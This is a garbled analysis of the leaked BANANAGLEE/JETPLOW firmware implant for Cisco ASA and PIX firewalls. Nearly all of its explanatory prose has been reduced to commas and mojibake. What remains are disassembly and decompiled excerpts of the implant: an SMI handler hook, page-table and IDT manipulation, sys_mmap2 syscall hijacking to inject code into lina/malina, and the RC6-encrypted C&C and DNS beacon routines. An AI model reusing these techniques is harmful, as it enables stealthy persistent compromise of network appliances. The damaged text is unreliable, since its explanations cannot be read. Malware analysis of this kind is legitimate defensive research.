- BG_OS_INFO â , , .
UA_DIR, OS8_INFO, BG_GEN_INFO SUA , . BG_OS_INFO , , SUA , . , .
.dat , - (. BANANAGLEE/BG3121/Dats/*.dat ).
SUA bin/BG_312_SCREAM_UA_full_support.bin .
First User Area (FUA @ 0xFFF6DF00)
, PBD, PBD Header (A) , userarea (B) .
userarea , SUA BG_OS_INFO , . SUA BG_OS_INFO , userarea . , SP Main .
:

, SUA â , FUA , userarea .
PBD Header FUA 256 . PBD Header :
struct PBD_Header { struct KEY { uint16_t CHECKS_CONSTANTS[10]; // Constants for quick selection Beacon-packets uint8_t key1[8]; // First part of RC6-key for ecrypt Benign-packets in session uint8_t key2[8]; // Second part of RC6-key uint8_t challenge[16]; uint8_t default_key1[8]; // First part of RC6-key for ecrypt HELLO, AUTH_RESP, CHALLENGE Benign-packets uint8_t default_key2[8]; // Second part of RC6-key uint8_t CV[8]; } key; uint32_t implantID; struct BEACON { uint32_t beacon_count; // Total number of beacons to send uint32_t primary_delay; // Seconds to delay first beacon uint32_t secondary_delay; // Seconds to delay subsequent beacons uint32_t min_delay; uint32_t max_delay; uint16_t min_src_port; // 0x00 by default uint16_t max_src_port; // 0xFFFF by default uint32_t beacon_primary_IP; // First IP address for beacon destination uint32_t beacon_secondary_IP; // Second IP address for beacon destination char domain_name[8]; // DNS beacon domain name ("yahoo" by default) } beacon; };
PBD Header , C&C (IP-, , "" ..). FUA , , bin/BG_312_PBD_config_CLEAN.bin .
First Code Area (FCA @ 0xFFF60000)
3 :
- A) mmap2 , .
- B) SP Main , userarea . : userarea FUA , , , C&C.
- C) C&C , , . .
FCA bin/asa5505/SCP28/asa5505_patch60000.bin .
Second Code Area (SCA @ 0xFFFEC480)
SCA SMI -, . â FCA, FUA SUA SP Main FCA .
SCA bin/asa5505/SCP28/asa5505_patchEC480.bin .
Hook (@ 0xFFFE18BF)
BIOS, SMI - SMRAM :

Hook ' â SMRAM SMI - SCA . , , , SMI .
Hook 'a bin/asa5505/SCP28/asa5505_patchE18BF.bin .
BIOS ' SMI SMRAM . , , SCA . , SCA #SMI . , ICH/PCH #SMI , SCA , . SCA , . , - , SCA #SMI , :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x0A4 _exit: jmp far ptr 0:0 ; jmp address @ SMBASE + 0x80A5 ; Has been replaced by `mov word [0xc527], cx` ; where CX contains the original SMI handler EP and ; 0x80A4 = 0x8000 + (0xC527 - 0xC480 = 0xA5) - 1
, , #SMI SCA . , , SCA / .
, SCA :
- (CR0.PM == 1) ;
- (CR0.PG == 1, CR3 != NULL) ;
- IDT/GDT .
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x14D ; ... mov eax, fs:_ss_cr0 and eax, 1 cmp eax, 0 jz wait ; exit if PM is not enabled mov eax, fs:_ss_cr0 mov ebx, cr3 and eax, 80000000h cmp eax, 0 jz wait ; exit if PG is not enabled cmp ebx, 0 jz wait ; exit if cr3 is zero sidt fword ptr ds:0DC5F7h ; _idt @ 0xC5F7 mov eax, ds:0DC5F9h ; eax <- IDT.Base cmp eax, 0 jz wait ; exit if IDT is not initialized yet cmp byte ptr ds:0DC5EFh, 0 ; _setup_alarm @ 0xC5EF jz short stage_00 mov byte ptr ds:0DC5EFh, 0 ; _setup_alarm @ 0xC5EF push large 0 ; a0 call large _setup_alarm_interrupt add esp, 4 cmp eax, 0 jnz short stage_00 jmp restore_exit ; ...
, / , , .
: SP Main SP Main , BIOS Flash.
SCA , â ASA PIX. .
BootLdr , 0x100000 ( 0x100000 ).
8 MiB â PIX, ASA.
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0xD6E ; int __cdecl _fca_inject_stage1(int a0, int a1, int cr3, int cr4, int zero) ; ... mov dword ptr [esp], 100000h ; malina bootloader real time va call large va2pa test eax, eax jz short guess_lina cmp eax, 100000h ; malina bootloader is located @ VA 0x100000 PA 0x100000 jnz short guess_lina mov [ebp+var_C], 100000h mov eax, [ebp+var_C] cmp [eax+grub_aout32_header.a_midmag], 107h ; bootloader magic jnz short guess_lina mov eax, [ebp+var_C] cmp [eax+grub_aout32_header.a_text], 7FFFFFh ; bootloader + malina size jbe short guess_lina ; can't be lass than 8 MiB ; ... jmp guess_malina ; ...
malina (PIX)
, , , ASA lina , malina . , SP Main , ( ), , malina .
, SCA BIOS Flash . SCA Page Directory , Page Table 4- MiB 32- ( BIOS Flash Map ).
Page Table Entry , user space BIOS Flash Map .
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x24B ; int __cdecl map_bios_flash_manually(int cr3, int cr4) ; ... mov eax, [ebp+cr3] ; ... and eax, 0FFFFF000h ; eax <- paging directory lea ebx, [eax+0FFCh] ; last pd entry addr mov edx, [eax+0FFCh] ; last pd entry value ; ... mov eax, edx or eax, 2 ; set pde permissions to RW mov [ebx], eax ; write PDE back mov esi, 1 mov edi, 0 mov ebx, edx and ebx, 0FFFFF000h ; ebx <- PT pa loc_DD2B5: mov edx, 0FFF00000h loc_DD2BB: lea ecx, [edx+7] ; ecx <- 0xFFF00007 mov eax, edx and eax, 3FF000h ; eax <- 0x300000 shr eax, 0Ah ; eax <- 0xC00 lea eax, [ebx+eax] ; eax <- PTE pa which is PT pa + 0xC00 test esi, esi jz short loc_DD2DD test byte ptr [eax], 1 ; is present? jnz short _exit_err loc_DD2DD: mov [eax], ecx ; set PTE value add edx, 1000h ; move to next page cmp edx, 0FFF80000h ; done? jnz short loc_DD2BB add edi, 1 mov esi, 0 cmp edi, 2 jnz short loc_DD2B5 mov eax, cr3 mov cr3, eax mov eax, 1 jmp short _exit_ok ; ...
SCA , 55 53 65 57 , push ebp, ebx, esi, edi . malina ( 7.2.2 PIX):
; `pix722.bin/malina.bin` @ 0x100110 _td_ctx_enter proc near ; CODE XREF: sub_113890+1F4 push ebp ; the search pattern is `55 53 56 57` push ebx push esi push edi mov eax, ds:13A8E80h mov edx, [eax+1Ch] mov [eax+1Ch], esp mov esp, edx mov ebp, [eax+20h] mov ebx, [eax+24h] mov esi, [eax+28h] mov edi, [eax+2Ch] retn _td_ctx_enter endp
_td_ctx_enter _td_ctx_exit , SCA :
; `pix722.bin/malina.bin` @ 0x100130 _td_ctx_exit proc near ; CODE XREF: sub_1131B0:loc_1131DD mov eax, ds:13A8E80h mov edx, [eax+1Ch] mov [eax+1Ch], esp mov esp, edx mov [eax+20h], ebp mov [eax+24h], ebx mov [eax+28h], esi mov [eax+2Ch], edi pop edi pop esi pop ebx pop ebp retn _td_ctx_exit endp
.
, "duart_open", "malloc" "CHECKHEAPS...", SCA malloc checkheaps . malloc FCA FUA BIOS Flash RAM. checkheaps , , SCA :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x357 ;... lea eax, ds:0DC60Dh ; _td_ctx_ptr @ 0xC60D push eax ; td_ctx_ptr call large _find_td_ctx_enter add esp, 4 cmp eax, 0 ; eax <- _td_ctx_enter() ptr jz clear_alarm_restore_exit mov ds:0DC5FDh, eax ; _td_ctx_enter_ptr @ 0xC5FD mov edx, fs:dword_DFFF0 mov ebx, eax mov ecx, 1Ch add ebx, ecx cmp edx, eax jb short loc_DC39A cmp edx, ebx jnb short loc_DC39A add eax, 20h ; ' ' ; calculate _td_ctx_exit addr loc_DC39A: mov ds:0DC609h, eax ; _td_ctx_exit_ptr @ 0xC609 call large _find_malloc cmp eax, 0 jz clear_alarm_restore_exit mov ds:0DC601h, eax ; _malloc_ptr @ 0xC601 mov ebx, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 mov ecx, 0Bh add ebx, ecx ; ebx = 0x10013B sub eax, ebx ; calculate malloc offset relative to call insn address lea edx, ds:0DC611h ; _splice_pci_43 @ 0xC611 mov [edx+7], eax ; call 0x12345678 ; ^^^^^^^^^^ <- eax = malloc() ptr mov eax, cr4 push eax mov eax, cr3 push eax call large _make_malina_text_rwx add esp, 8 cmp eax, 0 jz clear_alarm_restore_exit call large _patch_checkheaps ;...
, checkheaps , SCA , , , . SCA _td_ctx_exit :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x404 ;... lea edi, ds:0DC62Dh ; _td_ctx_exit_code @ 0xC62D mov esi, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 mov ecx, 24h ; '$' rep movs byte ptr es:[edi], byte ptr [esi] mov edi, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 lea esi, ds:0DC611h ; _splice_pci_43 @ 0xC611 mov ecx, 1Ch rep movs byte ptr es:[edi], byte ptr [esi] wbinvd mov byte ptr ds:0DC5F0h, 1 ; _main_proc_infected @ 0xC5F0, 0x0000 ;...
:
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x611 ;... pushal push 0x10000 call malloc ; allocate 64 KiB for FCA and FUA push eax ; pass ptr to allocated memory via stack mov dx, 0xcf8 mov eax, 0x800078d0 out dx, eax add edx, 4 mov al, 0x43 out dx, al ; pass control back to SCA ;...
64 KiB FCA FUA , SCA #SMI , FCA FUA .
, SCA , _td_ctx_exit SP Main . , 0x25E FCA .
:

SP Main . , , , SP Main â SUA (userarea) .
SP Main userarea , FUA . , , SP Main â . , SP Main " ", .
lina (ASA)
, SCA : SP Main BIOS Flash user space . â mmap2 syscall_table . , SCA , .
syscall_table sysenter_entry , int 0x80 (syscall). int 0x80 IDT , 0x400 IDT .
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x82F ; int __cdecl _fca_inject_lina(int a0, int a1, int cr3, int cr4, int zero, int idt_base) ; ... mov eax, [ebp+idt_base] mov [esp], eax ; va call large _va2pa test eax, eax ; eax = IDT phys addr jz exit_bad mov edx, [eax+404h] ; 0x404 â int 0x80 interrupt descriptor offset LO part mov dx, 0 movzx eax, word ptr [eax+400h] ; 0x400 â int 0x80 interrupt descriptor offset LO part mov ebx, edx or ebx, eax ; ebx <- int 128 handler va ; ... call large _va2pa mov [ebp+int80_handler_pa], eax ; ... mov edx, [ebp+int80_handler_pa] cmp byte ptr [edx], 0FFh ; ff 14 85 xx xx xx xx call dword ds:xxxxxxxx[eax*4] ; which stands for `call *sys_call_table(,%eax,4)` ; see sysenter_entry() at `arch/i386/kernel/entry.S` jnz short loop2_cont cmp byte ptr [edx+1], 14h jnz short loop2_cont cmp byte ptr [edx+2], 85h ; ... mov eax, [edx+3] ; ff 14 85 xx xx xx xx call dword ds:xxxxxxxx[eax*4] ; ^^^^^^^^^^^ -> eax = syscall_table VA add eax, 300h ; 300h is sys_mmap2 handler ptr offset relative to syscall_table base mov [esp+_va], eax call large va2pa mov [ebp+sys_mmap2_pa], eax ; ... mov ebx, [ebp+orig_sys_mmap2_handler_va] mov edi, [ebp+kernel_rm_code_pa] mov esi, 0FFF60000h ; FCA flash address mov ecx, 87h ; SP sys_mmap2 code size rep movs byte ptr es:[edi], byte ptr [esi] ; it is safe to store SP sys_mmap2 code ; in the kernel real-mode part of code ;
, "" "": mmap2 " " user space-, . mmap2 . SCA BIOS Flash, , /dev/mem . , , mmap2 /dev/mem 0xFF000 â lina .
// /tmp/asa831-k8-rootfs/asa/bin/lina @ 0x8AE9A10 //... fd = primary_rom_fd; if (!primary_rom_fd){ fd = fopen("/dev/mem", "r+"); primary_rom_fd = fd; if (!fd){ printf("Error opening %s\n", "/dev/mem"); exit(1); } } _fileno = fileno(fd); *(_DWORD *)(a2 - 20) = 0; *(_DWORD *)(a2 - 16) = 0xFFC00000 / *(_DWORD *)(a2 - 32); _primary_rom = sys_mmap2(*(void **)(a2 - 20), 0x80000u, 3, 1, _fileno, *(_DWORD *)(a2 - 20 + 4)); if (_primary_rom > 0xFFFFFF7E){ *__errno_location() = -_primary_rom; LABEL_4: perror("mmap: error mapping primary rom"); exit(1); } //...
, lina - 512 KiB BIOS Flash. , FCA, FUA SUA , 1 MiB mmap2 , . lina .
SP Main . , mmap2 , , /, , , SCA #SMI .
; `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x063 ; ... push eax ; eax <- mapped address mov dx, 0CF8h mov eax, 800078D0h out dx, eax mov dx, 0CFCh mov al, 42h ; this will signal SCE that sys_mmap2() has ; triggered this #SMI out dx, al pop eax retn ; this will return to SP Main EP ; ...
SCA , sysenter_ret (, ), SP Main . SCA RSM , SP Main , , , :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x2D1 ; ... mov ecx, [edi+esi*4+30h] ; ecx <- sysenter_ret mov [eax+4], ecx ; 62000 will return to where sysenter should have been mov [edi+esi*4+3Ch], ebx mov dword ptr [eax], 0 mov eax, [edi+4] ; eax <- sys_mmap2 ret addr mov fs:_mmap2_ret, eax mov eax, [edi] ; eax <- mapped memory va? mov fs:_ss_eax, eax add eax, 62000h add eax, 0 mov [edi+esi*4+30h], eax ; syscall will return to 62000 mov edx, fs:_ss_esp add edx, 8 mov fs:_ss_esp, edx ; ...
:

SP Main , , , malina . ( lina 0x62200 BIOS Flash), " ", .
, FUA - userarea . , , SUA . , , ). SP Main , , C&C, : ", . - Lina. ?".
, . , C&C , .
, lina . SP Main FCA FUA RAM _td_ctx_enter , malina SCA . , SP Main lina , . malina , 0x100040 .
SP Main ( FCA ) PBD Header BIOS Flash anonymous mapping .
SP Main . /proc/self/maps lina .
, ELF- , SP Main _td_ctx_enter , SCA , malina ( 55 53 65 57 ).
mprotect , , , , SP Main .
, , lina , malina .
_td_ctx_enter , SP Main , . : (socket, bind, sendto, close, etc.); ( , , etc.); SNMP ( ); syslog .
, . , , FCA (. FCA 0x2D60 ).
, , main . , C&C, .
OSI
C&C OSI .
IPv4 IPv6 , .
UDP . PBD_Header.min_src_port â PBD_Header.max_src_port . , C&C.
Benign -, , , , . , Benign - 512 ( BENIGNSIZE ), , . Benign - .
RC6 Benign -.
" â ". , . Benign -.
Benign-
Benign -, -, :
struct BenignHeader { uint8_t type; uint8_t padLength; uint16_t pkt_ID; uint32_t benign_payload_length; uint32_t sequenceNumber; uint32_t ackNumber; }; struct BenignPacket { uint32_t cf_crc; uint32_t cv[2]; uint8_t salt[8]; BenignHeader header; uint8_t payload[0]; }
type /, .
( ):
- HELLO
- AUTH_RESP
- CHALLENGE
- ACK
- ERROR
- GOODBYE
- READ
- WRITE
- MALLOC
- FREE
- EXEC
- MOD_INFO
- MOD_DATA
- MOD_LIST
- MOD_ACTIVATE
- MOD_DEACTIVATE
- MOD_REMOVE
- COMMAND_ADD
- COMMAND_LIST
- BOX_INFO
- FRAG_TYPE
- LAST_IN_LIST
padLength , , 8 . , , RC6, 16 (8 salt + 16 header = 24 , 32 ).
pkt_ID .
benign_payload_length payload .
sequenceNumber , 512 .
ackNumber , .
cf_crc , , , UDP - Benign -.
, BenignPacket2.salt , RC6. PBD_Header.default_key1 . cv , 16- SHA-1 , , . salt defauly_key1 TSC .
Beacon-
, , , , IP- , , , "" Beacon -.
, IP- , Beacon - DNS - A ( address record ), www.subdomain.domain.com
. domain â , , , , subdomain â .
, , Cobalt Strike "" .
DNS :
// `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x9670 // ... memcpy(subdomain, _subdomin, 16); dns_packet->query.www_sz = 3; memcpy(dns_packet->query.www, aWww, 3); dns_packet->query.subdomain_sz = 0x11; dns_packet->query.subdomain[0] = 0x41; memcpy(&dns_packet->query.subdomain[1], subdomain, 16); dns_packet->query.domain_sz = _sizeof_pbd_domain; memcpy(dns_packet->query.domain, _5400->domain_name, _sizeof_pbd_domain); com = &dns_packet->query.domain[_sizeof_pbd_domain]; com->com_sz = 3; // sizeof("com") without trailing \x00 memcpy(com->com, aCom, 4); com->qtype = rol_16_8(1); // Type A query (host address) qclass = rol_16_8(1); ip_selector = (_5400->beacon_num & 1) == 0; com->qclass = qclass; // Class IN query (Internet address) if ( ip_selector ) daddr = _5400->beacon_secondary_IP; else daddr = _5400->beacon_primary_IP; // unsigned __int32 __usercall udp_send@<eax>(int a1@<eax>, int buf@<edx>, unsigned __int16 len@<cx>, unsigned int a4, __int16 sport, __int16 dport, unsigned int daddr) udp_send(_5400, _5400->_send_buf, com + 9 - dns_packet, _5400->_const_FFFFFFFF, sport, 53, daddr); // ...
DNS - Beacon - IP- IP- , subdomain .
, , Beacon - DNS -, , , 400 .
Beacon - DNS -: PBD_Header.primary_beacon_IP , â PBD_Header.secondary_beacon_IP .
, Beacon - , . "" DNS -, , , , .
, Beacon - DNS -.
, :
www.[dev_id?][implant_id_enc][some_obf].[domain].com
,
- dev_id? â 'A', "ASA" (1 );
- implant_id_enc â (8 );
- some_obf â implant_id_enc (8 );
- domain â domain PBD_Header (8 ).
DNS - bin/asa5505/SCP28/asa5505_patch60000.bin 0x9670 .
Coming soon...
, . , :
Cisco :

?
, , , , ? , : , , « » - ..
verify , , , , . â .
, , , JETPLOW .
ã«ãªãæ¹æ³
, , . , â , â , .
, ASA , JP/SCP. , .
SecureBoot Trust Anchor?
" Cisco". , , , , Cisco.
ãããã«
The Shadow Brokers , :
- The Shadow Brokers , , .
- JETPLOW/SCREAMINGPLOW , .
- (TPM) JETPLOW , .